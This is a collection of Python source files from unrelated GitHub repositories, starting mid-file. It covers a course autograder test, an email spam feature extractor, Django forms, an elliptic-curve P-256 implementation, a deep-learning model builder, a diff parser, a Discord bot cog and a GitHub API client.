source_cache_args = ast.get_source_segment(\n self.user_code, self.cache_args_node\n )\n return source_cache_args\n\n def cache_args(self, func):\n exec(self.get_source_cache_args())\n foo = vars()[\"cache_args\"]\n return foo(func)\n\n def test_cache_args(self):\n # Декорируем некую функцию\n @time_check\n @self.cache_args\n def decorated(num):\n time.sleep(1)\n return num * self.random_multiplier\n\n def runing(t):\n for i in self.random_numerics:\n buffer = io.StringIO()\n with redirect_stdout(buffer):\n result = decorated(i)\n assert (\n result == i * self.random_multiplier\n ), \"Некорректное решение.\"\n line = buffer.getvalue().strip()\n assert (\n line == f\"Время выполнения функции: {t} с.\"\n ), (\n f\"Некорректное время выполнения проверочной функции. \"\n \"Функция возвращает:\\n\"\n f\"{line}\\n\"\n f\"Ожидалось {t} с.\"\n )\n\n # При первом запуске выполняется декорированная функция\n runing(1.0)\n # При повторном запуске ожидаем данных из кэша\n runing(0.0)\n","repo_name":"SergeiLebedev34907/tests_author","sub_path":"task_3/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74860328253","text":"# encoding=utf-8\n\nimport re\nimport codecs\nimport email.parser\nfrom collections import deque\nfrom htmlParser import MyHTMLParser\n\nfrom nltk import word_tokenize\n\n\nPROMILLE = 10\nSPECIAL_CHARS = \"@`!\\\"#$%&()*:+;[{,<\\|-=]}.>^~/?_\"\nMAIL_PARSER = email.parser.Parser()\nHTML_PARSER = MyHTMLParser()\nLINK_RE = re.compile(r\"\"\"\n (http|ftp|https|mailto):\n \\/\\/[\\w\\-_]+(\\.[\\w\\-_]+)+\n ([\\w\\-\\.,@?^=%&:/~\\+#]*[\\w\\-\\@?^=%&/~\\+#])?\n\"\"\", re.X)\n\n\ndef isLink(token):\n return bool(LINK_RE.match(token))\n\n\ndef linkCounter(tokens):\n linkCount = sum(1 for x in tokens if isLink(x))\n rv = linkCount / (len(tokens) or 1)\n\n return {'links count (prodec)': PROMILLE * int(rv * PROMILLE)}\n\n\ndef citationLineCounter(text):\n citationLineCount = text.count(\"\\n> \")\n rv = float(citationLineCount) / (text.count(\"\\n\") or 1)\n\n return {'citation line count (prodec)': int(PROMILLE * rv)}\n\n\n# tokenized\ndef fractionCapitals(tokens):\n total = len(tokens)\n capitals = sum(1 for x in tokens if x.isupper())\n\n rv = float(capitals) / (total or 1)\n rv = int(PROMILLE * rv)\n return {\"capital-only tokens (prodec)\": rv}\n\n\n# not tokenized\ndef fractionSpecialChars(text):\n rv = {}\n PREFIX = \"special char \"\n for char in SPECIAL_CHARS:\n rv[PREFIX + char] = 0\n\n for char in text:\n if char in SPECIAL_CHARS:\n rv[PREFIX + char] = 1\n\n return rv\n\n\n# we asume the text is tokenized.\n# returns the percentage of digits in the text as a dictionary -D feature.\ndef fractionDigits(tokens):\n\n count = len(tokens)\n digits = 0\n\n for token in tokens:\n\n token = token.replace(',', '0')\n token = token.replace('.', '0')\n\n if token.isdigit():\n digits += 1\n\n return {'fractionDigits': int(PROMILLE * digits / (count or 1))}\n\n\n# body of the email, not tokenized but parsed, no HTML\n# returns a dictionary of trigrams and their count of occurrences\ndef trigrams(text):\n rd = {}\n aux = deque(maxlen=3)\n for char in text.lower():\n aux.append(char)\n if len(aux) > 2:\n trigram = ''.join(aux)\n rd['trigram - ' + trigram] = 1\n return rd\n\n\ndef tokenFeature(tokens):\n rv = {}\n for token in tokens:\n rv[\"token \" + token.lower()] = 1\n return rv\n\n\ndef isHTML(text):\n return \"\" in text.lower()\n\n\n# returns title, followed by \\n, followed by body of given html\ndef htmlText(html):\n HTML_PARSER.reset()\n HTML_PARSER.feed(html)\n return HTML_PARSER.title.strip() + \"\\n\" + HTML_PARSER.body.strip()\n\n\ndef htmlFeatures(html):\n rv = {\"is html \": 1}\n rv[\"colored parts \"] = min(2, HTML_PARSER.colorCount)\n rv[\"font'ed parts \"] = min(2, HTML_PARSER.fontCount)\n return rv\n\n# functions working on specific parts/formats of a message\nTOKEN_FUNCTIONS = [fractionCapitals, fractionDigits, linkCounter, tokenFeature]\nTEXT_FUNCTIONS = [fractionSpecialChars, trigrams]\nUNPARSED_FUNCTIONS = [citationLineCounter]\nSTOP_WORDS = set() # read it later\n\nwith open(\"english_stop_words.txt\") as f:\n for word in f:\n word = word.strip()\n STOP_WORDS.add(word)\n\nSTOP_WORDS = frozenset(STOP_WORDS)\n\n\n# somehow (??) deal with unicode\ndef toUni(string):\n if not isinstance(string, unicode):\n return unicode(string, \"latin-1\", \"ignore\")\n return string\n\n\ndef featuresForMail(path):\n p = MAIL_PARSER\n with codecs.open(path) as f:\n mail = p.parse(f)\n return featuresForText(mail)\n\n\ndef headerFeatures(mail):\n rv = {}\n rv[\"has reply-to\"] = \"Reply-To\" in mail\n rv[\"has in-reply-to\"] = \"In-Reply-To\" in mail\n\n if \"To\" in mail and not mail[\"To\"]:\n rv[\"to-empty\"] = True\n if \"X-Keywords\" in mail and not mail[\"X-Keywords\"]:\n rv[\"x-keywords-empty\"] = True\n\n contentType = mail[\"Content-Type\"]\n if contentType is not None:\n index = contentType.find(\";\")\n rv[\"has content-type\"] = contentType if index == -1 else contentType[:index]\n\n return rv\n\n\n# text is the subject line of a mail\ndef subjectFeatures(text):\n d = {}\n\n if text:\n d.update(tokenFeature(word_tokenize(text)))\n d.update(trigrams(text))\n d.update(fractionCapitals(text))\n d.update(fractionDigits(text))\n d.update(fractionSpecialChars(text))\n\n rv = {}\n\n for (key, value) in d.iteritems():\n rv[\"in subject \" + key] = value\n\n return rv\n\n\ndef featuresForText(mail):\n# text of the email\n fullText = \"\"\n unparsedText = \"\"\n html = \"\"\n for part in mail.walk():\n if not part.is_multipart():\n fullText += \"\\n\" + toUni(part.get_payload(decode=True))\n unparsedText += \"\\n\" + toUni(part.get_payload(decode=False))\n\n if isHTML(fullText):\n html = toUni(fullText)\n fullText = htmlText(html)\n unparsedText = htmlText(toUni(unparsedText))\n\n rv = {}\n tokens = word_tokenize(fullText)\n\n # remove stop words\n tokens = filter(lambda token: token not in STOP_WORDS, tokens)\n fullText = \" \".join(tokens)\n\n for function in TEXT_FUNCTIONS:\n data = function(fullText)\n rv.update(data)\n\n for function in TOKEN_FUNCTIONS:\n data = function(tokens)\n rv.update(data)\n\n for function in UNPARSED_FUNCTIONS:\n data = function(unparsedText)\n rv.update(data)\n\n rv.update(headerFeatures(mail))\n rv.update(htmlFeatures(html))\n rv.update(subjectFeatures(mail[\"Subject\"]))\n\n return rv\n","repo_name":"kedorlaomer/ta-final","sub_path":"features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":5451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24603188520","text":"\nfrom . models import *\nfrom . views import *\n\n\ndef countt(request):\n item_count = 0\n if 'admin' in request.path:\n return {}\n else:\n try:\n ct = CartListt.objects.filter(cart_id=c_idd(request))\n cti = Itemss.objects.all().filter(cart=ct[:1])\n for c in cti:\n item_count+=c.quantity\n except CartListt.DoesNotExist:\n item_count = 0\n return dict(itcc=item_count) ","repo_name":"MidhunBabu01/crm_project_alphabetzsolutions","sub_path":"crm_project/tools_management_app/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"43566841305","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom webapp.models import Product, Review\n\n\nclass ProductForm(forms.ModelForm):\n class Meta:\n model = Product\n fields = (\"title\", \"description\", \"category\", \"picture\",)\n\n def clean(self):\n cleaned_data = super().clean()\n title = cleaned_data['title']\n description = cleaned_data['description']\n if len(title) < 5:\n self.add_error('title', ValidationError(\n f\"Значение должно быть длиннее 5 символов {title} не подходит\"))\n if title == description:\n raise ValidationError(\"Text of the product should not duplicate it's title!\")\n return cleaned_data\n\n\nclass ReviewForm(forms.ModelForm):\n class Meta:\n model = Review\n fields = (\"content\", \"product\", \"rating\", \"check_moder\",)\n\n\nclass ProductDeleteForm(forms.ModelForm):\n class Meta:\n model = Product\n fields = (\"title\",)\n\n def clean_title(self):\n if self.instance.title != self.cleaned_data.get(\"title\"):\n raise ValidationError(\"Название товара не соответствует\")\n return self.cleaned_data.get(\"title\")","repo_name":"ruslansheirenov/exam_8","sub_path":"source/webapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25597132826","text":"#!/usr/bin/python\nimport gmpy\n\ndef bi(s):\n i = 0\n for c in s:\n i <<= 8\n i |= ord(c)\n return i\n\ndef ib(i,l=32):\n s = \"\"\n while l:\n s = chr(0xff & i) + s\n i >>= 8\n l -= 1\n return s\n\n# curve implementation in python\nclass Curve:\n\n def __init__(self):\n # curve parameters for NIST P-256 (ANSI prime256v1, SECG secp256r1) \n # https://www.nsa.gov/ia/_files/nist-routines.pdf\n # http://perso.univ-rennes1.fr/sylvain.duquesne/master/standards/sec2_final.pdf\n self.p = 2**256-2**224+2**192+2**96-1\n self.a = self.p-3\n self.b = 41058363725152142129326129780047268409114441015993725554835256314039467401291\n gx = bi(\"6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296\".replace(\" \", \"\").decode('hex'))\n gy = bi(\"4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5\".replace(\" \", \"\").decode('hex'))\n self.g = [gx,gy]\n self.n = 115792089210356248762697446949407573529996955224135760342422259061068512044369\n\n def valid(self,point):\n xP = point[0]\n\n if xP==None:\n return False\n\n yP = point[1]\n return yP**2 % self.p == (pow(xP, 3, self.p) + self.a*xP + self.b) % self.p\n\n def decompress(self,compressed):\n byte = compressed[0]\n\n # point at infinity\n if byte==\"\\x00\":\n return [None,None]\n\n xP = bi(compressed[1:])\n ysqr = (pow(xP, 3, self.p) + self.a*xP + self.b) % self.p\n assert self.p % 4 == 3\n yP = pow(ysqr, (self.p + 1) / 4, self.p)\n assert pow(yP, 2, self.p)==ysqr\n if yP % 2:\n if byte==\"\\x03\":\n return [xP,yP]\n return [xP, -yP % self.p]\n if byte==\"\\x02\":\n return [xP,yP]\n return [xP, -yP % self.p]\n\n def compress(self,P):\n\n if P[0] == None:\n return \"\\x00\" + \"\\x00\"*32\n\n byte = \"\\x02\"\n if P[1] % 2:\n byte = \"\\x03\"\n return byte + ib(P[0])\n\n def inv(self,point):\n xP = point[0]\n\n if xP==None:\n return [None,None]\n\n yP = point[1]\n R = [xP,-yP % self.p]\n return R\n\n def add(self,P,Q):\n\n # P+P=2P\n if P==Q:\n return self.dbl(P)\n\n # P+0=P\n if P[0]==None:\n return Q\n if Q[0]==None:\n return P\n\n # P+-P=0\n if Q==self.inv(P):\n return [None,None]\n\n xP = P[0]\n yP = P[1]\n xQ = Q[0]\n yQ = Q[1]\n s = (yP - yQ) * gmpy.invert(xP - xQ, self.p) % self.p\n xR = (pow(s,2,self.p) - xP -xQ) % self.p\n yR = (-yP + s*(xP-xR)) % self.p\n R = [xR,yR]\n return R\n\n def dbl(self,P):\n # 2*0=0\n if P[0]==None:\n return P\n\n # yP==0\n if P[1]==0:\n return [None,None]\n\n xP = P[0]\n yP = P[1]\n s = (3*pow(xP,2,self.p)+self.a) * gmpy.invert(2*yP, self.p) % self.p\n xR = (pow(s,2,self.p) - 2*xP) % self.p\n yR = (-yP + s*(xP-xR)) % self.p\n R = [xR,yR]\n return R\n\n def mul(self, P, k):\n # x0=0\n if P[0]==None:\n return P\n\n N = P\n R = [None,None]\n\n while k:\n bit = k % 2\n k >>= 1\n if bit:\n R = self.add(R,N)\n N = self.dbl(N)\n\n return R\n\ncurve = Curve()\n","repo_name":"user8547/fast-ecc-python","sub_path":"secp256r1_python.py","file_name":"secp256r1_python.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"78"}
+{"seq_id":"73383878971","text":"import pandas as pd\nimport sys\n\nimport association_rule_mining as mining\nimport output_format as myformat\n\nfile_name = sys.argv[1]\nmin_sup = float(sys.argv[2])\nmin_conf = float(sys.argv[3])\n\ndef main():\n # read csv\n dtypes = {i: str for i in range(54)}\n df = pd.read_csv(file_name, header=None, names=range(54), dtype=dtypes)\n df.fillna(value='', inplace=True)\n \n # change to list\n baskets = []\n for line in df.values.tolist():\n line = list(filter(lambda elem: elem != '', line))\n baskets.append(line)\n\n # baskets = [[\"pen\",\"ink\",\"diary\",\"soap\"], [\"pen\",\"ink\",\"diary\"], [\"pen\",\"diary\"], [\"pen\",\"ink\",\"soap\"]]\n # baskets = [[\"I1\",\"I2\",\"I3\"], [\"I2\",\"I3\",\"I4\"], [\"I4\",\"I5\"], [\"I1\",\"I2\",\"I4\"], [\"I1\", \"I2\",\"I3\",\"I5\"], [\"I1\", \"I2\",\"I3\",\"I4\"]]\n\n freq_itemsets = mining.get_frequent_itemsets(baskets, min_sup)\n myformat.output_freq_itemsets(freq_itemsets, min_sup)\n\n rules = mining.get_association_rules(freq_itemsets, min_conf)\n myformat.output_association_rules(rules, min_conf)\n\n\nif __name__==\"__main__\":\n main()","repo_name":"Erisae/cs6111-association-rule-mining","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"40180895266","text":"\"\"\"\nFile name: efficientYdet.py\nAuthor: Tomas Lapsansky (xlapsa00@stud.fit.vutbr.cz)\nDescription: Our custom EfficientYdet model representation.\n\"\"\"\n\nimport tensorflow as tf\nfrom keras import Model\nfrom keras.layers import *\nfrom keras.regularizers import l2\nfrom keras.applications import *\nfrom tensorflow import keras\nfrom keras import backend as K\nfrom keras import layers\n\nimport generators.generators\nimport models\nfrom processing import checkpoint\n\n\ndef create_bifpn_layer(C, num_channels):\n def _create_bifpn_layer(inputs):\n input_shape = tf.shape(inputs[0])\n H, W = input_shape[1], input_shape[2]\n outputs = []\n for input_tensor in inputs:\n output_tensor = layers.Conv2D(num_channels, 1, padding='same')(input_tensor)\n output_tensor = layers.BatchNormalization()(output_tensor)\n output_tensor = layers.ReLU()(output_tensor)\n resized_output = tf.image.resize(output_tensor, (H, W), method=tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n outputs.append(resized_output)\n\n output_tensor = layers.Add()(outputs)\n output_tensor = layers.Conv2D(num_channels, 3, padding='same')(output_tensor)\n output_tensor = layers.BatchNormalization()(output_tensor)\n output_tensor = layers.ReLU()(output_tensor)\n return output_tensor\n\n return _create_bifpn_layer\n\n\n# EfficientDet models\ndef create_efficientdetM_binary_classification(num_channels, dropout_rate=0.5):\n backbone = EfficientNetV2M(include_top=False, input_shape=(480, 480, 3), weights='imagenet')\n C3, C4, C5 = backbone.layers[-188].output, backbone.layers[-94].output, backbone.layers[-1].output\n C3 = backbone.get_layer('block3e_expand_activation').output\n C4 = backbone.get_layer('block5n_expand_activation').output\n C5 = backbone.get_layer('block7e_expand_activation').output\n\n P3 = create_bifpn_layer(C3, num_channels)([C3])\n P4 = create_bifpn_layer(C4, num_channels)([C4, P3])\n P5 = create_bifpn_layer(C5, num_channels)([C5, P4])\n\n P4 = create_bifpn_layer(C4, num_channels)([C4, P3, P5])\n P5 = create_bifpn_layer(C5, num_channels)([C5, P4])\n\n P3 = layers.GlobalAveragePooling2D()(P3)\n P4 = layers.GlobalAveragePooling2D()(P4)\n P5 = layers.GlobalAveragePooling2D()(P5)\n\n pooled_features = layers.Concatenate()([P3, P4, P5])\n dense = layers.Dense(128, activation='relu')(pooled_features)\n dropout = layers.Dropout(dropout_rate)(dense)\n output = layers.Dense(1, activation='sigmoid', name=\"prediction\")(dropout)\n\n model = Model(inputs=backbone.input, outputs=output)\n return model\n\n\ndef create_efficientdetL_binary_classification_bigger(num_channels, l2_regularization=0.01, dropout_rate=0.5):\n backbone = EfficientNetV2L(include_top=False, input_shape=(480, 480, 3), weights='imagenet')\n C3 = backbone.get_layer('block3g_expand_activation').output\n C4 = backbone.get_layer('block5s_expand_activation').output\n C5 = backbone.get_layer('block7g_expand_activation').output\n\n P3 = create_bifpn_layer(C3, num_channels)([C3])\n P4 = create_bifpn_layer(C4, num_channels)([C4, P3])\n P5 = create_bifpn_layer(C5, num_channels)([C5, P4])\n\n P4 = create_bifpn_layer(C4, num_channels)([C4, P3, P5])\n P5 = create_bifpn_layer(C5, num_channels)([C5, P4])\n\n P3 = layers.GlobalAveragePooling2D()(P3)\n P4 = layers.GlobalAveragePooling2D()(P4)\n P5 = layers.GlobalAveragePooling2D()(P5)\n\n pooled_features = layers.Concatenate()([P3, P4, P5])\n dense1 = layers.Dense(256, activation='relu', kernel_regularizer=l2(l2_regularization))(pooled_features)\n batch_norm1 = BatchNormalization()(dense1)\n dropout1 = layers.Dropout(dropout_rate)(batch_norm1)\n\n dense2 = layers.Dense(128, activation='relu', kernel_regularizer=l2(l2_regularization))(dropout1)\n batch_norm2 = BatchNormalization()(dense2)\n dropout2 = layers.Dropout(dropout_rate)(batch_norm2)\n\n output = layers.Dense(1, activation='sigmoid', name=\"prediction\")(dropout2)\n\n model = Model(inputs=backbone.input, outputs=output)\n return model\n\n\n# U-net like connections\ndef set_unet(efficientdet_model, eff_type):\n # efficientdet_model.summary()\n # Edit efficientDet\n prediction = efficientdet_model.output\n if eff_type == \"M\":\n block5_output = efficientdet_model.get_layer('block5n_project_bn').output\n block4_output = efficientdet_model.get_layer('block4g_project_bn').output\n block3_output = efficientdet_model.get_layer('block3e_project_bn').output\n block2_output = efficientdet_model.get_layer('block2e_project_bn').output\n block1_output = efficientdet_model.get_layer('block1c_project_bn').output\n rescaling_output = efficientdet_model.get_layer('rescaling').output\n\n x = block5_output\n x = upscale_block(256, x, block3_output)\n x = upscale_block(128, x, block2_output)\n x = upscale_block(64, x, block1_output)\n x = upscale_block(32, x, rescaling_output)\n x = Conv2D(1, (1, 1), padding='same')(x)\n reconstruction = Activation('sigmoid', name=\"reconstruction\")(x)\n\n return Model(inputs=efficientdet_model.input, outputs=[prediction, reconstruction])\n elif eff_type == \"L\":\n block5_output = efficientdet_model.get_layer('block5s_project_bn').output\n block4_output = efficientdet_model.get_layer('block4j_project_bn').output\n block3_output = efficientdet_model.get_layer('block3g_project_bn').output\n block2_output = efficientdet_model.get_layer('block2g_project_bn').output\n block1_output = efficientdet_model.get_layer('block1d_project_bn').output\n rescaling_output = efficientdet_model.get_layer('rescaling').output\n\n x = block5_output\n x = upscale_block(256, x, block3_output)\n x = upscale_block(128, x, block2_output)\n x = upscale_block(64, x, block1_output)\n x = upscale_block(32, x, rescaling_output)\n x = Conv2D(1, (1, 1), padding='same')(x)\n reconstruction = Activation('sigmoid', name=\"reconstruction\")(x)\n\n return Model(inputs=efficientdet_model.input, outputs=[prediction, reconstruction])\n\n# Losses\n\ndef dice_coef(y_true, y_pred, smooth=1e-6):\n y_true_f = K.flatten(y_true)\n y_pred_f = K.flatten(y_pred)\n intersection = K.sum(y_true_f * y_pred_f)\n dice = (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth)\n return dice\n\n\ndef dice_coef_loss(y_true, y_pred, smooth=1e-6):\n return 1 - dice_coef(y_true, y_pred, smooth)\n\n\n# Building blocks\n\ndef upscale_block(filters, input_tensor, skip_tensor):\n kernel_size = (3, 3)\n transpose_kernel_size = (2, 2)\n upsample_rate = (2, 2)\n\n x = Conv2DTranspose(filters, transpose_kernel_size, strides=upsample_rate, padding='same')(input_tensor)\n x = Concatenate()([x, skip_tensor])\n x = Conv2D(filters, kernel_size, padding='same', use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = Conv2D(filters, kernel_size, padding='same', use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n\n return x\n\n\ndef build_model(trained, eff_type=\"M\", frozen=None, lr=0.0001, dropout_rate=0.5):\n models.models.input_shape = (480, 480, 3)\n # Efficient net has build in preprocessing\n generators.generators.preprocessing_f = None\n\n # B0, v2B0, S, M, L\n if eff_type == \"M\":\n efficientdet_model = create_efficientdetM_binary_classification(num_channels=64, dropout_rate=dropout_rate)\n elif eff_type == \"L\":\n efficientdet_model = create_efficientdetL_binary_classification_bigger(num_channels=64, dropout_rate=dropout_rate)\n\n if frozen is not None:\n for layer in efficientdet_model.layers:\n layer.trainable = False\n print(f\"Layer {layer.name} frozen\")\n if layer.name == frozen:\n break\n\n model = set_unet(efficientdet_model, eff_type)\n\n if frozen is not None:\n if eff_type == \"M\":\n models.models.callback_list = checkpoint.checkpoint_callback(f\"efficientYdetM-f-{frozen}-lr{lr}-dr{dropout_rate}\")\n elif eff_type == \"L\":\n models.models.callback_list = checkpoint.checkpoint_callback(f\"efficientYdetL-f-{frozen}-lr{lr}-dr{dropout_rate}\")\n else:\n if eff_type == \"M\":\n models.models.callback_list = checkpoint.checkpoint_callback(f\"efficientYdetM-lr{lr}-dr{dropout_rate}\")\n elif eff_type == \"L\":\n models.models.callback_list = checkpoint.checkpoint_callback(f\"efficientYdetL-lr{lr}-dr{dropout_rate}\")\n print(\"done\")\n\n loss_weights = {'prediction': 0.5, 'reconstruction': 0.5}\n optimizer = keras.optimizers.Adam(learning_rate=lr)\n model.compile(\n optimizer=optimizer,\n loss={\n 'prediction': 'binary_crossentropy',\n 'reconstruction': dice_coef_loss\n },\n loss_weights=loss_weights,\n metrics={\n 'prediction': 'accuracy',\n 'reconstruction': 'accuracy'\n }\n )\n\n return model\n\n\nif __name__ == \"__main__\":\n build_model(False)\n","repo_name":"TomasLapsansky/Master-thesis","sub_path":"custommodels/efficientYdet.py","file_name":"efficientYdet.py","file_ext":"py","file_size_in_byte":9077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24880239690","text":"\"\"\"Test functions for distributions.\"\"\"\n\nimport torch\n\nfrom compSPI.distributions import uniform_to_triangular\n\n\ndef test_uniform_to_triangular():\n \"\"\"Test if the distribution obtained is triangular.\n\n We first compute the histogram obtained from this function and then\n compare it with the true histogram of a triangular distribution.\n \"\"\"\n num_samples = 1000000\n num_bins = 200\n min_val = -2.0\n max_val = 2.0\n bin_length = (max_val - min_val) / num_bins\n\n uniform_samples = torch.rand(1000000)\n triangular_samples = uniform_to_triangular(uniform_samples)\n histogram = torch.histc(triangular_samples, min=min_val, max=max_val, bins=num_bins)\n\n grid = torch.linspace(min_val, max_val, num_bins)\n triangle_pdf = torch.clamp(1 - grid.abs(), min=0)\n true_histogram = triangle_pdf * bin_length * num_samples\n\n error = (true_histogram - histogram).abs().sum() / true_histogram.abs().sum()\n assert error < 0.02\n","repo_name":"compSPI/compSPI","sub_path":"tests/test_distributions.py","file_name":"test_distributions.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"}
+{"seq_id":"74953174010","text":"\nimport json\nimport re\nfrom collections import defaultdict\n\nfrom bs4 import BeautifulSoup\nfrom bs4.element import Tag\n\nfrom helpers import get_logger\n\nfrom .get_diff import get_diff_file, get_lines_change\n\nlogger = get_logger(__name__)\n\n\ndef read_json_file(file_path):\n with open(file_path) as f:\n return json.load(f)\n\n\ndef parse_diff(commit, idx):\n # edit diff_path\n diff_path = get_diff_file(commit, idx)\n result = defaultdict(lambda: list())\n if diff_path is None:\n return result,dict()\n with open(diff_path) as f:\n content = f.read()\n if len(content) == 0:\n logger.error(\n f\"Can't get diff betwen berfor and after: commit: {commit}, idx={idx}, file={diff_path}\")\n return\n soup = BeautifulSoup(content)\n pre_tag = soup.find(\"pre\")\n if pre_tag is None:\n logger.error(\n f\"Can't paser diff betwen berfor and after: commit: {commit}, idx={idx}, file={diff_path}\")\n return\n check = False\n parser_text = pre_tag.getText()\n parser_text = parser_text[parser_text.find(\"@@\"):]\n groups_change = defaultdict(lambda: list())\n index = 0\n for line in parser_text.splitlines():\n if line.startswith(\"@@\"):\n index += 1\n else:\n groups_change[index].append(line)\n\n # add: list\n index = 0\n count_add = -1\n count_del = -1\n pre_line_add = -1\n pre_line_del = -1\n num_add = 0\n num_del = 0\n c_line = 0\n set_d = set()\n set_a = set()\n map_lines = dict()\n\n for child in pre_tag.children:\n text = child.getText()\n if text.startswith(\"@@\"):\n tmp = -1\n pre_line_add = -1\n pre_line_del = -1\n assert count_add <= num_add-1\n assert count_del <= num_del-1\n count_add = -1\n count_del = -1\n c_line = 0\n index += 1\n res = re.findall(\"\\d+\", text)\n if len(res) == 2:\n c_del = int(res[0])\n c_add = int(res[1])\n num_add = 1\n num_del = 1\n elif len(res) == 3:\n c_del = int(res[0])\n if f\"-{res[0]} +{res[1]}\" in text:\n c_add = int(res[1])\n num_del = 1\n num_add = int(res[2])\n else:\n c_add = int(res[2])\n num_del = int(res[1])\n num_add = 1\n elif len(res) == 4:\n c_del = int(res[0])\n c_add = int(res[2])\n num_add = int(res[3])\n num_del = int(res[1])\n # print(res)\n tmp_num_add = num_add if num_add > 0 else 1\n tmp_num_del = num_del if num_del > 0 else 1\n map_lines[c_del+tmp_num_del] = tmp_num_add + c_add\n check = True\n continue\n else:\n tmp = 0\n if not check:\n continue\n if isinstance(child, Tag):\n lines = groups_change[index]\n if \"f1\" in child[\"class\"]:\n # del\n for i, line in enumerate(lines):\n if text in line and i + 1 >= c_line:\n if pre_line_del != i:\n if count_del <= num_del - 2:\n count_del += 1\n pre_line_del = i\n start = line.find(text)\n result[\"del\"].append(\n {\"line\": count_del+c_del, \"text\": \"\\n\", \"start_column\": start, \"end_column\": start + len(text.strip())})\n tmp_add = [i for i in range(c_add, c_add + num_add)]\n if count_del + c_del not in set_d:\n set_d.add(count_del + c_del)\n result[\"map_d_to_a\"].append(\n (count_del+c_del, tmp_add))\n lines[i] = lines[i].replace(text,'')\n break\n if \"f2\" in child[\"class\"]:\n # add\n for i, line in enumerate(lines):\n if text in line and i + 1 >= c_line:\n # phan them vao o line nay easy\n if pre_line_add != i:\n if count_add <= num_add - 2:\n count_add += 1\n pre_line_add = i\n elif i > 0 and len(lines[i-1].strip()) <= 0:\n if count_add <= num_add - 2:\n count_add += 1\n pre_line_add = i\n # print(text)\n start = line.find(text)\n tmp_del = [i for i in range(c_del, c_del + num_del)]\n result[\"add\"].append(\n {\"line\": count_add+c_add, \"text\": text.strip(), \"start_column\": start, \"end_column\": start + len(text.strip())})\n if count_add+c_add not in set_a:\n set_a.add(count_add+c_add)\n result[\"map_a_to_d\"].append(\n (count_add+c_add, tmp_del))\n lines[i] = lines[i].replace(text,'')\n else:\n add_line = text.count(\"\\n\") + tmp\n c_line += add_line\n tmp = 0\n if add_line > 1:\n pre_line_add\n if num_add > num_del:\n if count_add <= num_add - 2:\n count_add += 1\n else:\n if count_del <= num_del - 2:\n count_del += 1\n return result, map_lines\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"ttrangnguyen/CTGConstruction","sub_path":"CTG/pyszz/diff/parse_diff.py","file_name":"parse_diff.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"72580547771","text":"#!/usr/bin/env python\nimport logging\nfrom discord.ext import commands\n\nclass Commands(commands.Cog, name=\"Misc. commands\"):\n def __init__(self, bot):\n self.bot = bot\n logging.info(\"Misc commands initialized.\")\n\n @commands.command(name=\"info\", aliases=[\"blame\", \"github\", \"credits\"])\n async def info(self, ctx):\n \"\"\"\n Outputs running info about this bot.\n \"\"\"\n guild = ctx.guild if ctx.guild else \"a direct message\"\n logging.info(f\"blame requested by {ctx.author} in {guild}.\")\n app_info = await self.bot.application_info()\n msg = Embed(\n title=\"Song (https://github.com/brasstax/silva)\",\n url=\"https://github.com/brasstax/song\",\n color=Colour.teal(),\n )\n msg.set_author(\n name=\"Song\",\n url=\"https://github.com/brasstax/song\",\n icon_url=app_info.icon_url,\n )\n msg.add_field(name=\"Author\", value=app_info.owner, inline=False)\n await ctx.send(embed=msg)","repo_name":"brasstax/Song","sub_path":"song/song/bot_commands/Misc.py","file_name":"Misc.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"20370425104","text":"from __future__ import annotations\n\nimport base64\nimport json\nfrom typing import List\n\nimport requests\n\nfrom ..dto.githubdirfile_dto import GithubDirFileDto\n\n\nclass GithubApi:\n\n def __init__(self):\n self.base_url = \"https://api.github.com/repos/tesnine/\"\n self.token = ''\n self.headers = {\n 'Authorization': 'Bearer ' + self.token,\n 'Accept': 'application/vnd.github+json',\n \"X-GitHub-Api-Version\": \"2022-11-28\"\n }\n\n def get_listdir(self, repository_name, dir_name) -> List[GithubDirFileDto]:\n r = requests.get(\n url=f\"https://api.github.com/repos/tesnine/{repository_name}/contents/{dir_name}\",\n headers=self.headers\n )\n if r.status_code == 200:\n return [GithubDirFileDto(**item) for item in r.json()]\n raise Exception(f\"Request Failure... {self.__class__.__name__}\")\n\n def get_file_content(self, repository_name, file_sha):\n r = requests.get(\n url=f\"https://api.github.com/repos/tesnine/{repository_name}/git/blobs/{file_sha}\",\n headers=self.headers\n )\n if r.status_code == 200:\n content = r.json()['content']\n return json.loads(base64.b64decode(content).decode())\n","repo_name":"jak010/jakoknife","sub_path":"src/macport/gh_client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
